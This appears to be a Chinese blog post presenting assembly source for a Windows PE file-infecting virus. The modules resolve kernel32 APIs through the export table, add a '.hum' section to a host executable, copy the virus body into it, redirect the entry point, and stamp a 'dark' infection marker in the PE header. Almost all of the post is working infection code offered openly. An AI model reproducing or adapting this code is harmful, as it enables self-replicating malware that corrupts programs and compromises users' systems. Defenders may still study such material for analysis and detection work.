s_api.asm主要是查找api的相关函数模块,其代码如下:

; ============================s_api.asm

;手动查找api部分

; K32_api_retrieve 过程的Base是DLL的基址,sApi为相应的API函数的函数名地址

;该过程返回eax为该API函数的序号

K32_api_retrieve proc Base:DWORD ,sApi:DWORD

push edx ;保存edx

xor eax,eax ;此时esi=sApi

Next_Api: ;edi=AddressOfNames

mov esi,sApi

xor edx,edx

dec edx

Match_Api_name:

movzx ebx,byte ptr [esi]

inc esi

cmp ebx,0

je foundit

inc edx

push eax

mov eax,[edi+eax*4] ;AddressOfNames的指针,递增

add eax,Base ;注意是RVA,一定要加Base值

cmp bl,byte ptr [eax+edx];逐字符比较

pop eax

je Match_Api_name ;继续搜寻

inc eax ;不匹配,下一个api

loop Next_Api

no_exist:

pop edx ;若全部搜完,即未存在

xor eax,eax

ret

foundit:

pop edx ;edx=AddressOfNameOrdinals

;*2得到AddressOfNameOrdinals的指针

movzx eax,word ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针

ret

K32_api_retrieve endp

;-----------------------------------------

;Base是DLL的基址,sApi为相应的API函数的函数名地址,返回eax指向API函数地址

GetApiA proc Base:DWORD,sApi:DWORD

local ADDRofFun:DWORD

pushad

mov esi,Base

mov eax,esi

mov ebx,eax

mov ecx,eax

mov edx,eax

mov edi,eax ;几个寄存器全部置为DLL基址

add ecx,[ecx+3ch] ;现在esi=off PE_HEADER

add esi,[ecx+78h] ;得到esi=IMAGE_EXPORT_DIRECTORY引出表入口

add eax,[esi+1ch] ;eax=AddressOfFunctions的地址

mov ADDRofFun,eax

mov ecx,[esi+18h] ;ecx=NumberOfNames

add edx,[esi+24h]

;edx=AddressOfNameOrdinals,指向函数对应序列号数组

add edi,[esi+20h] ;esi=AddressOfNames

invoke K32_api_retrieve,Base,sApi ;调用另外一个过程,得到一个API函数序号

mov ebx,ADDRofFun

mov eax,[ebx+eax*4] ;要*4才得到偏移

add eax,Base ;加上Base!

mov [esp+7*4],eax ;eax返回api地址

popad

ret

GetApiA endp

u32 db "User32.dll",0

k32 db "Kernel32.dll",0

appBase dd ?

k32Base dd ?

;-------------以下是有关API函数地址和名称的相关数据定义------------

lpApiAddrs label near

;定义一组指向函数名字字符串偏移地址的数组

dd offset sGetModuleHandle

dd offset sGetProcAddress

dd offset sLoadLibrary

dd offset sCreateFile

dd offset sCreateFileMapping

dd offset sMapViewOfFile

dd offset sUnmapViewOfFile

dd offset sCloseHandle

dd offset sGetFileSize

dd offset sSetEndOfFile

dd offset sSetFilePointer

dd offset sExitProcess

dd 0,0 ;以便判断函数是否处理完毕

;下面定义函数名字符串,以便于和引出函数表中的相关字段进行比较

sGetModuleHandle db "GetModuleHandleA",0

sGetProcAddress db "GetProcAddress",0

sLoadLibrary db "LoadLibraryA",0

sCreateFile db "CreateFileA",0

sCreateFileMapping db "CreateFileMappingA",0

sMapViewOfFile db "MapViewOfFile",0

sUnmapViewOfFile db "UnmapViewOfFile",0

sCloseHandle db "CloseHandle",0

sGetFileSize db "GetFileSize",0

sSetFilePointer db "SetFilePointer",0

sSetEndOfFile db "SetEndOfFile",0

sExitProcess db "ExitProcess",0

 

aGetModuleHandle dd 0 ;找到相应API函数地址后的存放位置

aGetProcAddress dd 0

aLoadLibrary dd 0

aCreateFile dd 0

aCreateFileMapping dd 0

aMapViewOfFile dd 0

aUnmapViewOfFile dd 0

aCloseHandle dd 0

aGetFileSize dd 0

aSetFilePointer dd 0

aSetEndOfFile dd 0

aExitProcess dd 0

 

modipe.asm用来在HOST程序中添加一个病毒节,其代码如下:

;============================modipe.asm

;修改pe,添加节,实现传染功能

xchg eax,esi

;eax为在内存映射文件中的起始地址,它指向文件的开始位置

cmp word ptr [esi],'ZM'

jne CouldNotInfect

add esi,[esi+3ch] ;指向PE_HEADER

cmp word ptr [esi],'EP'

jne CouldNotInfect ;是否是PE,否则不感染

cmp dword ptr [esi+8],'dark'

je CouldNotInfect

mov [ebp+pe_Header],esi ;保存pe_Header指针

mov ecx,[esi+74h] ;得到directory的数目

imul ecx,ecx,8

lea eax,[ecx+esi+78h] ;data directory eax->节表起始地址

movzx ecx,word ptr [esi+6h];节数目

imul ecx,ecx,28h ;得到所有节表的大小

add eax,ecx ;节结尾...

xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移

;**************************

;添加如下节:

;name .hum

;VirtualSize==原size+VirSize

;VirtualAddress=

;SizeOfRawData 对齐

;PointerToRawData

;PointerToRelocations dd 0

;PointerToLinenumbers dd ?

;NumberOfRelocations dw ?

;NumberOfLinenumbers dw ?

;Characteristics dd ?

;**************************

mov dword ptr [esi],'muh.' ;节名.hum

mov dword ptr [esi+8],VirusLen ;节的实际大小

 

;计算VirtualSize和V.addr

mov ebx,[eax+38h] ;节对齐,在内存中节的对齐粒度

mov [ebp+sec_align],ebx

mov edi,[eax+3ch] ;文件对齐,在文件中节的对齐粒度

mov [ebp+file_align],edi

 

mov ecx,[esi-40+0ch] ;上一节的V.addr

mov eax,[esi-40+8] ;上一节的实际大小

xor edx,edx

div ebx ;除以节对齐

test edx,edx

je @@@1

inc eax

@@@1:

mul ebx ;上一节在内存中对齐后的节大小

add eax,ecx ;加上上一节的V.addr就是新节的起始V.addr

mov [esi+0ch],eax ;保存新section偏移RVA

add eax,_Start-vBegin ;病毒第一行执行代码,并不是在病毒节的起始处

mov [ebp+newEip],eax ;计算新的eip

mov dword ptr [esi+24h],0E0000020h ;节属性

mov eax,VirusLen ;计算SizeOfRawData的大小

cdq

div edi ;计算本节的文件对齐

je @@@2

inc eax

@@@2:

mul edi

mov dword ptr [esi+10h],eax ;保存节对齐文件后的大小

mov eax,[esi-40+14h]

add eax,[esi-40+10h]

 

mov [esi+14h],eax ;PointerToRawData更新

 

mov [ebp+oldEnd],eax ;病毒代码往HOST文件中的写入点...?

 

mov eax,[ebp+pe_Header]

inc word ptr [eax+6h] ;更新节数目

mov ebx,[eax+28h] ;eip指针偏移

mov [ebp+oldEip],ebx ;保存老指针

mov ebx,[ebp+newEip]

mov [eax+28h],ebx ;更新指针值

;comment $

mov ebx,[eax+50h] ;更新ImageSize

add ebx,VirusLen

mov ecx,[ebp+sec_align]

xor edx,edx

xchg eax,ebx ;eax和ebx交换...

cdq

div ecx

test edx,edx

je @@@3

inc eax

@@@3:

mul ecx

xchg eax,ebx ;还原 eax->pe_Header

mov [eax+50h],ebx

;保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度

;$

mov dword ptr [eax+8],'dark' ;病毒感染标志直接写到被感染文件的PE头中

cld

mov ecx,VirusLen

mov edi,[ebp+oldEnd]

add edi,[ebp+pMem]

lea esi,[ebp+vBegin]

rep movsb ;将病毒代码写入目标文件新建的节中!

 

xor eax,eax

sub edi,[ebp+pMem]

push FILE_BEGIN

push eax

push edi

push [ebp+hFile]

call [ebp+aSetFilePointer];设定文件读写指针

push [ebp+hFile]

call [ebp+aSetEndOfFile] ; 将当前文件位置设为文件末尾

 

dis_len.asm用来显示前面定义的提示信息,其中包括病毒体的大小。代码如下:

;============================disLen.asm

lea eax,[ebp+u32]

push eax

call dword ptr [ebp+aLoadLibrary] ;导入user32.dll链接库

test eax,eax

jnz @g1

@g1:

lea EDX,[EBP+sMessageBoxA]

push edx

push eax

mov eax,dword ptr [ebp+aGetProcAddress] ;获取MessageBoxA函数的地址

call eax

mov [ebp+aMessageBoxA],eax

;-----------------------------------------

mov ebx,VirusLen

mov ecx,8

cld

lea edi,[ebp+val]

L1:

rol ebx,4

call binToAscii

loop L1

push 40h+1000h

lea eax,[ebp+sztit]

push eax

lea eax,[ebp+CopyRight]

push eax

push 0

call [ebp+aMessageBoxA]

jmp _where

;-----------------------------------------

binToAscii proc near ;此函数用来将二进制转换为字符

mov eax,ebx

and eax,0fh

add al,30h

cmp al,39h

jbe @f

add al,7

@@:

stosb

ret

binToAscii endp

  • 2
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值